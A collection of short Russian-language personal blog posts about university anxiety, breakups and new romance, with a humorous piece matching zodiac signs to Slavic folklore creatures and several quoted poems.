лично мне кажется, что это так. возможно, на это ещё можно посмотреть с других сторон, но пока что я их не вижу. да, скорее всего они должны быть. отрицательные стороны у университета тоже есть, не так ли? например, общество может не принять тебя таким, какой ты есть. и ты будешь вынужден быть в одиночестве, когда вокруг огромное количество людей. возможно, ты будешь просто приходить на пары, а потом сразу же уходить домой, чтобы не контактировать с университетским обществом в принципе.

но у меня совершенно другая история. я поступила в университет и на тот факультет, где я уж точно не буду в одиночестве. потому что там учатся все мои друзья, которые у меня сейчас есть. также на этом факультете я смогу реализовать все свои желания, скажем так, делать всё, что я хочу, при этом получая очень хорошее образование.
но я боюсь всего этого. я боюсь идти туда, переступать порог корпуса как студент уже, а не как школьник, боюсь того, что люди там окажутся не такими прекрасными, как я о них думаю, или же наоборот они будут такими прекрасными, что я на их фоне буду выглядеть совершенно ужасно.
у меня много страхов и много вопросов. в такие моменты очень хочется, чтобы кто-то родной был рядом и поддержал меня. иногда мне кажется, что моя сестра думает, будто я знаю исключительно всё, будто я сильный человек и что я могу справиться со всем сама. но это совершенно не так. для меня очень важно, чтобы рядом был человек и чтобы он верил в меня и не смеялся над моими вопросами, какими глупыми они бы ни были.

в общем, хочу подвести итог о том, что я ещё не готова к этой университетской жизни. возможно, мне так кажется. но всё, что мне хочется делать, так это сидеть в углу, укутавшись в одеяло. возможно, это кто-то и заметит. тогда я буду счастлива.

Тяжело осознавать в какой именно момент своей жизни, ты совершил фатальную ошибку. Тяжело и невыносимо знать, с какого именно момента все пошло не так. Не так как планировалось, не так как должно было быть. Ты знаешь, где именно ступил не на ту дорогу и плутаешь по ней до сих пор, вместо того, чтобы уже идти по своей. Ты знаешь, но уже ничего не можешь сделать. Ты знаешь, что переживать бессмысленно, но иногда просто не можешь остановиться. Иногда просто не можешь перестать думать о том, что прими я другое решение, верное решение еще в самом начале, все сейчас складывалось бы иначе. Лучше.

В жизни бывает много ошибок, которые сами по себе не ошибки, а следствия первой пуговицы, застегнутой неправильно.

Ну что я могу сказать?
Меня зовут Динара. Мне 18 лет. Это 1я запись в моем блоге (да да, я КЭП)
И вообще это мой 1 блог, раньше ничего такого я не делала. Зачем начинаю? Думаю это будет именно то место где я смогу выговорится. Нет, я не одинока, просто некоторые вещи происходящие в моей жизни стоит знать только мне…Ну и вам…Людям которые меня совершенно не знают. Мне не будет стыдно. Хотя вроде стыдится и нечего. Ну ладно, до след.записи. Всем бай бай.

плохо сплю и ничего не делаю. не могу сосредоточиться. не понимаю что нравится, а что нет. слишком много кофе, и ничего кроме на протяжении месяца. трупы тебе не нравятся. на что еще обидеться? смени свой режим. оставь рисунки на теле, кладбище игрушечных машинок в песке и мух-зомби в комнате. нужно посмотреть расписание на осень. не смотрю. не хочу знать когда придется выходить на улицу. ноябрь не состоится. знаю, и все равно трушу. все как всегда.

прости, что забываю спрашивать как ты там.

Вот все говорят "как бы я хотел\а вернуть этого человека в свою жизнь", а я вот потеряла этой зимой двоих самых близких мне людей, без которых, думала, жизни не будет, без которых и дня будет трудно прожить - молодого человека, который искренне меня любил, и лучшую подругу, с которой срок дружбы был 10 лет. Я по-прежнему их все так же люблю, по-прежнему желаю только самого лучшего. Я потеряла свою опору, поддержку, и пришлось идти дальше в одиночку.

Именно тогда я приняла решение найти работу, которая будет мне в радость. Первое время ничего не получалось, психовала, но обещала себе, что во что бы то ни стало научусь и дорасту до того уровня, что задумала для себя. И все получилось.

Правильно говорят, что работа лечит. Это действительно так. За это я и люблю свою работу. Я стала снова много улыбаться. Корона дурацкая отпала.

Я встретила человека, ради которого захотелось измениться внешне, стать самой лучшей, самой красивой. Захотелось больше отдавать, чем получать.

Благодаря ему же захотелось в своей холостятской квартире создать настоящий уют. Выходными пропадала в икее. И вот сейчас сюда мне хочется возвращаться после работы, хочется проводить время.

Привела свой бюджет в порядок. Теперь в нем нет дыр, как раньше. Я не могу сказать, что у меня нет денег они есть всегда.

И глупо врать себе, что женщины меняются для себя. Это не так. Женщины меняются ради мужчин, которых любят. Ради них же они начинают готовить, ухаживать за собой, покупают красивое белье, спят на бигудях, ходят на курсы политики, экономики. И не врите себе. Если вы делаете это для себя, значит вам не нужен человек, который сейчас с вами.

Мы изо дня в день учимся вместе, растем, в вечной погоне за знаниями чего-то нового перепрыгиваем через все говно, что попадается на пути.

Но самое главное, что во всем этом есть безусловная взаимность.

Я знаю, что если дальше буду с этим человеком, скорее всего мне придется продать свою квартиру и уехать жить в чужую страну, которая мне совершенно не нравится, но если человек от меня ждет подобной поддержки, я ее ему дам. Вот она, наверное, безусловная любовь.

Я к тому, что сейчас в моей жизни нет больше ничего кроме старого друга, Его и моей семьи. И я рада этому. Нужно было понять все это раньше. Мне не нужны подруги и бывшые любовники, которые всплывают и пытаются былыми воспоминаниями что-то вернуть, мне не нужны восхищенные взгляды чужих мужчин на улице. И я больше никому и никогда не позволю влезть в свою жизнь. Никаких советов, никакой грязи.

Вы ушли. И через все говно мне пришлось в начале пройти в одиночку. И я счастлива, и уж точно не хочу никого возвращать.

Давайте учиться ставить точку в отношениях с некоторыми людьми, потому что со временем в вашу жизнь придет человек, который затмит всех до.

Во-первых, мне очень нравится этот актер.
А во-вторых… ну вы просто посмотрите, как мило смотрится он в роли отца *-*

— Бывают люди бледные, бывают тусклые, бывают блестящие, но когда встречаются радужные , и ты сам становишься таким, с этим ничто не сравнится.

Угадайте, кто вчера позвонил? Предложил встретиться завтра, на что я ответила "посмотрим". Поняла уже, что снова потом пропадет.

В общем, мне жаль, что я много внимания уделяю личной жизни. Вот надо как он - работаешь, занимаешься различными проектами и в свободное время вспоминаешь про девушек. А я дома сижу, отсюда и все мои выдуманные проблемы. Не могу найти работу, так как мне просто необходима работа, связанная с французским языком и с гибким графиком. Не репетиторство, хочу что-то постоянное. Я многого хочу, да?

Чисто практически, гипотетически,

Наверное, я без тебя смогу.

Только вот ты, мой хороший, величественный,

Сразу пойдешь ко дну.

Как не кричи, что любовь символическа,

Что между нами стена.

Только вот ты, мой хороший, величественный,

Сразу сойдешь с ума.

Рия Прилучная

не всем же быть счастливыми. кто-то должен держать равновесие. кому-то должно быть больно. как жаль, что я одна из таких.

Какие-то очень гениальные люди в НИУ ВШЭ, куда я поступила на факультет права, придумали не очень гениальную систему заселения в общежитие.

Мало того, что они выставили предварительные списки только ВЧЕРА, когда моя подруга, поступившая в МГУ, заселилась уже на прошлой неделе, так у них еще и заселение происходит по принципу зачисления.

То есть вчера выставили "первую волну" с 68-ю людьми, а в пятницу будет "вторая волна" со списком из еще 32-х человек.

Как вы понимаете, в числе первых я не оказалась, поэтому-то у меня и бомбит. Зачем, скажите, зачем тянуть резину и держать нас всех в неизвестности?!

Ладно, когда происходит зачисление, между первой и второй волнами ты можешь перенести документы из одного вуза в другой. А тут-то какая разница: сразу общий список сделают или помучают перваков еще несколько дней?

Теперь мы с К., которая поступила в Вышку же, но на менеджмент, находимся в подвешенном состоянии: (

Придется пока искать квартиру, а если общагу все-таки не дадут, экстренно ехать в НН и уже конкретно искать жилье.

Тут тоже порядочный капец: мне даже при житье в общаге будут выделяться весьма скромные средства, а если уж снимать квартиру или комнату, то вообще не знаю, как буду сводить концы с концами. К тому же, стипендия будет весьма символическая - меньше 1,5К.

Боже, что вообще делать? Я не знаю.

Хорошая всё-таки штука вьюи+

теперь я знаю, что один человечек время от времени всё равно заглядывает ко мне в гости, хоть и общение наше сошло на нет (из-за меня? из-за меня.)

честно говоря, была даже удивлена и немного обескуражена
Хех :)

Моя кошечка уезжает в другой город на учебу;((((( (Я так привыкла к ее каждодневному присутствию в моей жизни, а сейчас ее не будет рядом, когда мне вновь будет хуево! Буду ездить к ней при малейшей возможности! Так грустно, будто рассталась с парнем, с которым мы уже хотели пожениться..;;(( (

­ НЕЧИСТЬ ОВЕН - ЗМЕЙ ГОРЫНЫЧ

Неослабевающая энергия правящей планеты – Марс влияет с такой силой на бедное животное, что все вокруг него бегают с прожжёнными дырами и пахнут палёным. Поэтому его негасимую заботу и внимание, как и его самого, трудно не заметить. Обжигает всеми частями речи честно и прямолинейно, но лучше бы молчал. Змей Горыныч импульсивен, ему следует досчитать до тридцати и хорошо подумать каждой своей головой, прежде чем лететь и созидать, разрушив всё до основания.

Ему не удаётся примерить чужую шкуру, ни одна шкура не налезет на такую масштабную личность. Поэтому это ползающая, летающая, спящая и огнемётная самоуверенность, непомерная гордыня и истина в последней инстанции. Пылкий сторонник вежливой диктатуры и тактичного навязывания собственного мнения прицельным огнём, но первым в драку не полезет.

В каждой бочке массивная затычка, которая стремится руководить и владельцем бочки, и напитком, и бочкой. Мыслит глобально, с размахом, сильно преувеличивая факты. Если болен на всю голову, то сразу на три, если уел с аппетитом одного рыцаря, клянётся, что уел дюжину. Не краснеет, потому что зелёный свято верит каждому своему слову. А чему ещё верить наивному, доверчивому, благородному пресмыкающемуся в наше жестокое время?

Правда пресмыкается Змей Горыныч достойно, преданно, по доброй воле и только перед униженными и оскорблёнными. За это они ему платят, обычно, чёрной неблагодарностью, норовя наступить на хвост и обрубить сразу все три головы. Нечисть блещет актёрским талантом, притворяется дохлым, чтобы набежавшей толпе устроить праздничное извержение вулкана.

­ НЕЧИСТЬ ТЕЛЕЦ - ДОМОВОЙ

Если у вас завёлся в квартире Домовой, не отчаивайтесь, считайте, что вам крупно повезло, вы задёшево приобрели Тельца, причём Золотого. Вдохните полной грудью и больше не дышите думайте о материальном, не задавайтесь ежедневно глупым вопросом: «Куда делись деньги?» Деньги, появляясь в доме, сразу же сохраняются в надёжной банке, до которой вам без веской причины и челобитной не добраться. Лучше подумайте о чём-нибудь духовном, например, о душе, потому что Домовой, хоть заботливая и практичная, но нечисть, и жизнь вас ожидает беспокойная. Домовой ревнив, упрям, эгоистичен, неуступчив в спорах, так что лучше молча соглашаться на всё.

Особенно незавидна ситуация, когда вы въехали со своим самоваром Домовым, а предыдущие жильцы своего Домового не забрали, и у вас нет адреса, чтобы высказать всё, что вы о них думаете. Какое-то время вам придётся пожить в аду. В доме станет нестерпимо жарко, вас обвинят во всех смертных грехах, вокруг станут летать бьющиеся, колющиеся, режущиеся предметы домашнего обихода, вас измучит бессонница и потусторонние мрачные голоса, которые нудно выясняют кто в доме хозяин.

Если вы думали, что вас это касается, расслабьтесь и снимите лапшу с ушей. Общаясь с Домовым по деловым вопросам, например, вы не можете найти вещь, пропавшую с обычного места, встаньте в угол комнаты и громко скажите: «Домовой, домовой, поиграй-поиграй да обратно отдай!» Фразу придётся повторить триста тридцать три раза, домовой – тормоз из принципа.

­ НЕЧИСТЬ БЛИЗНЕЦЫ - ЛЕШИЙ

Дико переменчивая натура, шампунь и кондиционер в одном флаконе. Три минуты назад Леший устраивал вам головомойку и давал жару в стране угля, что не так стояли, свистели, грибы собирали, а теперь заботливо веет прохладой, как кондиционер. А вдруг вы вспотели, пока с ним выясняли отношения? Потому что для того, чтобы выяснить с Лешим отношения, нужны ангельское терпение, чувство юмора и уйма свободного времени.

Послушать Лешего, так у всех, кроме него, руки-ноги-голова растут не оттуда, откуда нужно. Придётся вывернуться шкурой на изнанку, поменять правый ботинок на левый, левый на правый и виновато пятиться по делам, чтобы Леший вас пощадил и не трындел двенадцать часов в сутки на любую свободно заданную тему. Не садитесь на пенёк, не ешьте пирожок – уболтает, заморочит, пирожком подавитесь. Леший обладает тремя дарами: даром слова, даром дела и даром занудства, причём раздаёт их даром.

Управляемый быстроногим Меркурием Леший подвижен, как ртуть, бегает, мельтешит, впаривая никому не нужный отвар из свеженарытого мха. Лучше него ни одна нечисть не может захламиться и быстро превратить нормальный, просторный лес в трущобу. Леший не врёт, а играет воображением, не путает следы, а шутит, не строит козни, а развлекается, не опаздывает, а задерживается. Поэтому он превосходный политик, интриган и талантливый критик всех и вся, но, как и Водяной, не оценён по достоинству в родном лесу.

­ НЕЧИСТЬ РАК - КИКИМОРА

Эмоциональная, сентиментальная, мечтательная, чуткая, ласковая и добродушная нечисть. Двойственная, противоречивая натура, любит перемены и разнообразие, ей хочется то к бабам, то к девкам побыть то Кикиморой домашней, зависимой, то Кикиморой дико-свободной, болотной. Рассорившись с Водяным, бежит к Домовому, обидевшись на Домового, возвращается к Водяному, разрываясь между домом и болотом, как правило, несчастна и не понята в личной жизни.

Обладает даром предвидения, если вы напились из копытца, значит, козлёночком станете, если полезли сдуру топиться в болото, значит, у вас не все дома. В любом случае, вам понадобится скорая на помощь Кикимора. Она на вас душевно накричит, поставит сотню пиявок, обольёт холодной водой, измажет в лечебной грязи, укутает тиной и уложит под куст выздоравливать. Кикимора бескорыстна, умеет хранить секреты, вы можете ей доверить золотую монету, пока отлёживайтесь под кустом. Она её закопает, и к утру у вас вырастет целое дерево, усыпанное золотом.

Если вдруг дерево не вырастет, а Кикимора забыла, на каком поле дураков закопала монету, не отчаивайтесь, главное не результат, а проявленные забота и внимание. Кикимора верный и преданный друг, попадая в её клешни, вы обречены. Теперь за вас и ваших детей до седьмого колена будут думать одно, говорить другое и делать третье. Скучно не будет, мало не покажется, потому что Кикимора обладает неукротимой энергией и богатой фантазией.

­ НЕЧИСТЬ ЛЕВ - КОТ БАЮН

Царь зверей, удалившийся на сомнительный покой, впавший в детство вернувшийся к истокам. Идёт направо – песнь заводит, налево – сказку говорит, делает это мастерски с большой харизмой, даже если не обладает ни слухом, ни голосом. Может убаюкать, пусть не время, не место, и вы спать не собирались. Разомлеете – заснёте навеки, но будете видеть цветные сны, как Кот Баюн идёт направо – песнь заводит, налево…

Позёрство и хвастовство у Кота Баюна в крови, примитивную избушку на курьих ножках превратит в Мелодраматический Театр Одного Актёра, если благодарный зритель «явился, не запылился». Наделён интеллектом и магнетизмом, но часто страдает амнезией: «Я – не я, и котята не мои, где был, кого добил интеллектом, примагнитил намертво – не помню». Великодушен и благороден: «Всем, кому должен – прощаю!» Любит опекать, особенно слабых: мышку, зайку, хомячка, птичку, рыбку. Опекает долго, тщательно, с интересом, может потом милостиво отпустить на волю, если наигрался. О нём следует неусыпно заботиться – кормить сметаной, свежим мясом, поить сливками, гладить по шерсти, вычёсывать блох, иначе захиреет и откажется побыть у вас смыслом жизни.

Не обольщайтесь, Кот Баюн – дикое животное, как его не корми, всё в лес смотрит. Упрямый, наглый и чертовски сообразительный хищник, если ему нужно получить вон ту сосиску, будет охотиться, пока сосиску не сдадут на милость победителю. Если Кот Баюн резко вспылил, сами виноваты, на мягком диване, где он привык лежать, слишком пыльно, а его барские наклонности требуют уважительного и бережного отношения.

­ НЕЧИСТЬ ДЕВА - БАБА ЯГА

На самом деле – это Василиса Премудрая, уставшая от суеты и разочаровавшаяся в людской породе, которую знает, как облупленную. Мизантроп и циник, серый кардинал на пенсии, который уединился в глуши для хитроумного плетения бисером козней. Мирно варит зелья, сушит на зиму мухоморы, чтобы при случае угостить зарвавшегося в лес ближнего.

Натура замкнутая, излишне осторожная, занудная и требовательная, семь раз проверит, зачем явились, и только один раз отрежет вам хвост по самые уши, потому что не признаёт никаких компромиссов, дело пытаете аль от дела лытаете, среднего не дано, «после тяжёлой пахоты лежать на печи, есть калачи» как аргумент не проходит. Нечисть справедлива, въедлива и дотошна, читает дурные мысли, понимает гадости с полуслова, выражается в ответ адекватно.

Слабый стратег, но сильный тактик, способен отмативировать послать куда подальше, всучив маленький клубочек и указав метлой направление. Замечания Бабы Яги часто ранят, поступки шокируют, безжалостность и холодность обижают добрых молодцев, но её помощь эффективна как «мёртвая» + «живая» вода, когда вас уже порубили в капусту. Нечисть трудолюбива, нерасточительна, хозяйственна и бережлива, но азартна, «под настроение» может спустить на ветер накопленные средства, играя с Соловьём Разбойником в преферанс.

У Яги в избушке идеальная организация труда, зелья расставлены в правильном беспорядке, пауки ткут паутину в строго отведённых углах, кот гадит исключительно, где придётся, мыши строятся и бегают в чёткой последовательности свиньями, мухи летают по намеченной траектории. Баба Яга немногословна, сдержанна, но любопытна, устраивает дознание с пристрастием по пустякам. Осторожно! Всё, что путаете в показаниях, будет использовано против вас.

­ НЕЧИСТЬ ВЕСЫ - МАРА

Приведение живёт в средневековом замке густом тумане, особенно по утрам. Таинственное, мутное создание, куда пойдёт – не знает, что наденет – не выбрало, с кем – неизвестно, зачем – не придумало, скорее всего, вообще никуда не пойдёт, потому что это нужно вставать, тащиться тщательно взвесить все «за» и «против». Без анализа ситуации, которую сама замутит до предела, Мара пальцем не шевельнёт, ухом не поведёт, саваном не шелестнёт. Приманить нечисть можно только «на жуткий интерес». Сторонница убеждений, зачем бежать, если можно стоять, зачем стоять, если можно сидеть и зачем сидеть, если можно лежать. Нечисть не случайно олицетворяют со смертью от удушья, достаточно с ней пройтись по магазинам, и вы либо её придушите, либо сами выдохнитесь. Быть или не быть вот в этом костюмчике – вопрос жизни, смерти и ваших железных нервов. Мара чрезвычайно шумное и назойливое привидение, прилетая в полночь, до шести часов утра гремит цепями бурно обсуждает с вами трогательную и забавную историю «как она дошла до такой жизни после смерти», даже если вы молчите, зеваете и безуспешно пытаетесь заснуть. Но Мара не столько ваш ночной кошмар, сколько воплощённая судьба-злодейка, сплошная морока и лёгкое помрачнение рассудка. Достать может с того света и бестактно, но ласково, вынести вам мозг. Не переживайте, днём нечисть досаждать не будет, её не видно – не слышно, когда речь заходит о повседневной, муторной работе.

­ НЕЧИСТЬ СКОРПИОН - РУСАЛКА

Если вы твёрдо решили искупаться, приготовьтесь к худшему. Воспитайте силу воли, запаситесь терпением, научитесь ровно дышать, купите непромокаемые бируши и белые резиновые тапочки, вдруг на вашем жизненном пути встретится Русалка. Потренируйтесь сначала плавать на суше, потому что русалки встречаются даже по дороге в ванную, тогда на ближайшее время водные процедуры отменяются. «Пуп Земли» моется в первую очередь и столько, сколько считает нужным. Нечисть точно знает, чего хочет ОНА и ей абсолютно начихать на то, чего хотите ВЫ.

Русалка будет сидеть на камушке посреди водоёма и доооооолго расчёсывать свои дивные волосы чудесным гребнем, даже если на голове у неё куцый ёжик. А вы должны торчать восторженным истуканом на берегу в тапочках, с полотенцем наперевес, не дыша, чтобы никаких кругов по воде не мешать процессу. Если помешаете, Русалка утопит в омуте эмоций, забьёт до смерти гребнем и утащит на дно строить хрустальный дворец под корягой. Натура сложная, загадочная, эмоциональная, кидающаяся из крайности в крайность, то сидит в озере, то лезет в бутылку на дуб, то сладко поёт, то вопит пожарной сиреной, то ангел, то чёрт знает что.

Из любви к вам способна отдать голос ведьме, и тут же превратит вас в пену морскую, потому что вот такая вся изменчивая и импульсивная. Ей простительно, у неё внутренний конфликт между возвышенным и низменным: верхам хочется нести свою неземную красоту людям, а у низов хвост заниженная самооценка. Русалка независима, непокорна, своенравна, ускользает из любых сетей, манипулировать нечистью можно, но осторожно, в ежовых велюровых рукавицах. Больше давите на жалость, Русалка где-то очень глубоко в душе добра и отзывчива.

­ НЕЧИСТЬ СТРЕЛЕЦ - ЛИХО ОДНОГЛАЗОЕ

На самом деле, Лихо Двуглазое, но если разбудить, когда не выспалось, то оно начнёт лихо ваш отстрел. Нечисть схватит лук, стрелы, подушку, что подвернётся под руку, аккуратно прицелится, щуря глаз… она всё делает тщательно и аккуратно… вы запомните этот прекрасный одноглазый лик на всю короткую жизнь, оставив назидание потомкам: НЕ БУДИТЬ!

Именно про ребёнка-Лихо говорили: «У семи нянек дитя без глаза». Оно выросло, няньки попали под лихой естественный отбор, но неугомонность, жизнерадостность и энергию через край нечисть сохранила, впрочем, как и безглазость. Лихо – законченный идеалист и неизлечимый романтик, верит в светлое будущее, в любовь с первого взгляда, в дружбу со второго, в развод и девичью фамилию с третьего.

Наступая на одни и те же грабли, упрямо закрывает глаза на людские пороки разбрасывать повсюду утварь, поэтому гордо идёт по жизни с синяком под глазом и рубцами на израненном граблями сердце. Если горите желанием узнать о себе всю правду, не боясь стрелы в попу, подушки по ушам, лука репчатого в глаз, сходите к Лиху и поинтересуйтесь. Проницательное, наблюдательное, откровенное оно выразит личное мнение с прямотой, тактом и неотвратимостью летящего на вас бронепоезда без тормозов. Нечисть интенсивно и страстно жаждет приключений на свою ж ярких впечатлений и новых ощущений, поэтому её несёт и заносит… туда, где опасно, любопытно и вкусно пахнет.

­ НЕЧИСТЬ КОЗЕРОГ - КАЩЕЙ БЕССМЕРТНЫЙ

Натура цельная, упрямая, честолюбивая, огнеупорная, водонепроницаемая, пуленепробиваемая и сильно волевая. Это про него за глаза нежно говорят «нарисовался – фиг сотрёшь, козлик», а в глаза сурово – «соль Земли», что справедливо, не сахар же. Единственная нечисть, не склонная к полноте, но не рискуйте её обозвать ходячим суповым набором, она прощает обиду, если только вы, молодой орёл, сидите в темнице сырой и громыхаете на последнем издыхании цепями.

Руководитель и стратег, берёт на себя всю ответственность за добытое в борьбе золото, над которым добровольно чахнет. Ценит материальные ценности «просто так», в сундуке, а не за комфорт. Вы всегда можете ему поплакаться в берцовую кость, он пессимист, посочувствует так вашему горю, радикулиту и куче проблем с зубами, что сразу поймёте – будет хуже. Ревнив, но сдержан, проблему своей головной боли решает радикально – вашей гильотиной.

Любит одиночество с Василисой Прекрасной на кухне и с дюжиной Иванов-Царевичей в подземелье, потому что ворчать, философствовать, остроумничать и ценить всё прекрасное в приятной компании веселее. Маньяк и азартный игрок во всём, чрезвычайно терпелив, ждать и догонять может вечность, у него есть время. Предпочитает носить повседневный костюм мягкого, кроткого, белого, пушистого, не обманитесь, костюмчик зайчика скрывает утку, яйцо, железный характер.

­ НЕЧИСТЬ ВОДОЛЕЙ - СОЛОВЕЙ РАЗБОЙНИК

Ленивая, дружелюбная, безответственная нечисть, предпочитает сидеть на ветвях и постоянно вам свистеть. Натура воздушная, порхает по жизни, льёт воду на свою мельницу, успешно раскручивая колесо фортуны. Прекрасно знает что, кому и когда насвистеть лихим молодецким посвистом, чтобы у жертвы заложило уши, она потеряла ориентацию в пространстве, отдала коня, бросила оружие и дунула в разные стороны. Чаще всего Соловей Разбойник выбирает творческие профессии пера и топора. Нечисть обаятельна до дрожи в коленках, оптимистична, общительна, разливается соловьём, поэтому вас терзают смутные сомнения, может это не разбойник с большой дороги, а Робин Гуд, отказавшийся от домашнего уюта, чтобы дать волю и свободу ничего не подозревающему путнику. Соловей Разбойник любознателен и сердоболен, заботливо проверит, далеко ли вас унесло ветром, сколько рук-ног вы сломали, какое количество съестного и недопитого у вас осталось в котомке. Нечисть щедро одарена от природы, но многочисленные таланты не успевает развить, всё уходит в свист. Креативна, но в вечном поиске, легко строит воздушные замки, и легко их разрушает на глазах у изумлённой публики.Соловья Разбойника можно пристрелить, но заставить поступать вопреки его желаниям – невозможно, даже если он осознаёт тяжесть последствий своего свиста. Птичку-хулигана могут поймать, заточить в клетку и даже выбить свистящий зуб, она всё равно найдёт чем свистеть и оригинально самовыражаться.

­ НЕЧИСТЬ РЫБЫ - ВОДЯНОЙ

Если вы сели в глубокую лужу, вас стремительно засасывает, вы начинаете гибнуть и возмущённо булькать, но вдруг появляется нечто бледное, зелёное, решительное, которое вас тянет, как бегемота, расхваливая патриотически родную лужу, не сомневайтесь – перед вами Водяной. Он настолько любит своё болото, что предпочитает из него не вылезать. Правда в глубине души Водяной – Крупная Золотая рыба, мечтает о морях и кораллах, опасных приключениях и исполнять любые разумные желания, начиная от корыта и заканчивая столбовым дворянством.

Неисправимый тяжёлыми условиями жизни романтик, верит в алые паруса, обладает живым воображением устрицы и интеллектуальным потенциалом дельфина. Водяной скромен, общителен, застенчив, нервозен, когда не понимают его возвышенных порывов помочь ближнему удержаться на плаву, обижается и надолго прячется под корягу. Душа у нечисти тонкая, ранимая, но на болоте ни одна тварь этого не ценит. Не проходите с дурными намерениями мимо водоёмов, чистому душой Водяному опасно действовать грязными мыслями на нервы.

Впрочем, Водяной предпочитает уклоняться от столкновений, обтекать препятствия, нежели бороться с ними. Всегда плавает на глубине и зрит в корень, к Водяному охотно тянутся за советами, иногда в них тонут. Нечисть охотно, много и часто страдает, готова жертвовать собой и своим временем, это придаёт её жизни смысл и вносит разнообразие в её скучные будни. Водяной – Болотный царь, как любой правитель, задумчив, одинок, значителен и отягощён.

Когда "старт" позади.

Начало пути - это всегда сборник мечты, надежд, страхов и предвкушения. Ты еще не знаешь, что именно тебе предстоит сделать и лишь рисуешь в своем воображении картины: иногда страшные, а иногда прекрасные. Но потом ты начинаешь воплощать мечту в жизнь и тогда на тебя набрасывается "суровая реальность".

Да, на деле все происходит немного сложнее. Вас могут не взять на работу, проигнорировать ваше письмо и не признать талант в первые минуты знакомства. Вы можете почувствовать себя слабым и совершенно беззащитным. А мечта покажется неисполнимой и вдруг перехочется двигаться дальше. Удар за ударом, руки опускаются, вкус обиды и поражения комом застревает в горле. Поверьте, мечта имеет и темные оттенки. Вы словно падаете в омут и ищите взглядом за чью бы руку ухватиться, но не успеваете протянуть свою ладонь. Силы уже на исходе. Вы решаете, что вы замахнулись на то, что вам, увы, не по зубам. Вы сдаетесь. Дни снова превращаются в однообразную рутину.

Однажды утром солнце светит ярче, чем это бывает обычно. Настроение приподнимается против воли, вы чувствуете нечто особенное в груди. Мягкими волнами энергия струится по вашим венам, отдаваясь звонким сердцебиением. И тут в какой-то момент мечта снова смотрит вам в глаза. И вы испытываете грусть вперемешку со счастьем. Вы захлопнулись от неё, чтобы больше душа не болела от безнадежных иллюзий. Но вот она снова смотрит в ваши глаза. "Кто еще исполнит твою мечту за тебя? Я ведь исчезну вместе с тобой когда-то" - проносится в вашей голове. И вы осознаете, что если вы не сможете справиться с этим, то не сможет никто. На глаза наворачиваются слезы. И как вы могли забыть об этом? Как могли отодвинуть свой путь в сторону и идти по тропинке, которая уводила вас от себя самого?

Теперь уже нет этой эйфории перед началом пути. В глазах стальная решительность, грудь наполняется воздухом и ноги сами ведут тебя в верном направлении. Трудности перестали быть монстрами, теперь они твою союзники, которые дарят тебе важный опыт и знания. По дороге случается волшебство, которое ты бережно складываешь в ладошку и прижимаешь поближе к сердцу, чтобы пропитаться им сполна. Люди неожиданно протягивают руки, которые то похлопывают по плечу, то поднимают на ноги, когда упадешь или же просто показывают поднятый вверх большой палец в знак уважения. С каждым шагом идти становится все легче. Потому что ты и не заметил, как по пути стал таким человеком, каким всегда хотел быть. Откуда-то взялись сила и уверенность, доброта и широта взглядов, открылось сердце и душа запела песню о любви.

А в душе ты все тот же маленький мечтатель, который однажды со страхом расправил крылья и решился взлететь. И небо не перевернулось с ног на голову от того, что мечта исполнена. Не появилось вдруг все и сразу. Горы денег, слава и прочее. Нет, все это, возможно, у тебя тоже есть. Но самое главное - это ты. Теперь ты знаешь, что ты можешь творить чудо. Ведь чудо - это еще одно имя наших стараний.

сложив 2 и 2 я поняла, что познакомился он с ней ещё тогда летом, на сборах. а теперь скажите мне зачем я, более или менее встав на ноги, продолжаю страдать по человеку, который, говоря "люблю и ты у меня одна", оказавшись далеко со спокойной душой нашёл мне замену?
потому что дура и еще люблю.

Нынче ночью я приходил к тебе,
но тебя не было дома,
и дома твоего не было в городе,
и города
не было нигде на Земле.

обожаю людей, которые с пеной у рта орут о гумманости, толерантности. не пытаясь встать на сторону человека, принявшего определенное вероисповедание, став веганом, участником культуры или элементарно не такого как все.

и вот вы уже с недоумением на него смотрите, думаете, что он урод, дурак или сумасшедший.

и вы весь такой веган, кричите: как можно жрать животных? сукин сын не понимает что он ест ни в чём не повиную курочку?!
вы можете кричать долгое время. находясь в недоумении. подводя итог, что надо любить, беречь мир в котором мы живём. подводя итог глубоким вздохом, фух совсем охуели мучители животных.

но вы ни чем не лучше, человека мнение с которым у вас различно, пока вы продолжаете орать, материться и переживать по этому поводу. по поводу различия мнений

пожалуйста, будьте людьми.

Я никогда не стану чем-то настоящим для тебя.

это в человеческой природе - страх перед чем-то новым. даже если ты предвкушаешь новый виток в своей жизни, его побаиваешься все равно. как бы ты не отрицала.

и хоть родители, которые уже когда-то прошли ту же школу, говорят, что после 3го курса намного проще учиться, да и есть время, чтобы хотя бы жить и дышать.. мне все равно слабо верится.

—ты любишь её ? — я каждое утро узнаю погоду в её городе.

Люди всегда думают, что видят тебя насквозь.

Amanda Seyfried

И завалите наконец ебало с этими вашими примерами “Ах, хочу, чтобы все было, как у моих родителей – папа всю жизнь носит маму на руках!»

Ваша мама, в отличие от вас, не пила вискарь из горла, не принимала ничего и не трахалась с придурками с дискотеки, прикрываясь поисками настоящей любви.

Вы тоже не пили, не принимали и не трахались?

Подумать только… какая тоска

потерять того, кого любил — это страшно. но еще страшнее так никогда его и не встретить

Можливо, любов інший раз можна визначити як бажання ділитися всім тільки з однією людиною.

Франсуаза Саган "Трохи сонця в холодній воді"

В моей жизни появился новый человек. Появился неожиданно, и мы стали очень близки. Все началось еще пару недель назад, когда я, убегая от друзей среди ночи, попросила его за меня со всеми попрощаться. Очень удивилась, когда утром увидела от него "привет" и заявку в друзья. Спустя несколько дней он стал первым в списке моих друзей. Каждый день безумно хотели встретиться, но эта встреча состоялась только вчера. Мы долго сидели на кухне, разговаривали о личном и не очень, курили на балконе, смеялись и удивлялись мелочам жизни. Я сидела в его "самой длинной" футболке, из под которой обнадеживающе выставлялись чулки. И с каждым глотком алкоголя, я поджимала под себя коленки все сильнее, мечтая о поцелуе с ним. Наконец, когда он ставит точку в предложении, я молча подхожу и сажусь к нему на колени. Он целует меня так нежно, что я с ног до головы покрываюсь мурашками, и нас накрывает страстью. Я так отвыкла засыпать в обнимку, и это просто непередаваемые ощущения, когда сильная мужская рука находится где-то в районе твоего живота, а по шее сыплется дорожка из поцелуев. Утром не отпускает меня из своих объятий, уговаривая остаться. Но опаздывая на работу, я убегаю. Он успевает поцеловать меня на прощание, а в моей голове уже придумалось название для новой главы моей жизни.

… я дивилася Вам у слід, коли Ви від мене йшли і думала: "Слава Богу, що Ви від мене нарешті йдете" і "Поверніться, я без Вас помру".

Малена Край "Останній короткий лист"

Я почти старалась. Это должна быть ведьма. Никакого реализма, просто вытащила из своей головы образ.

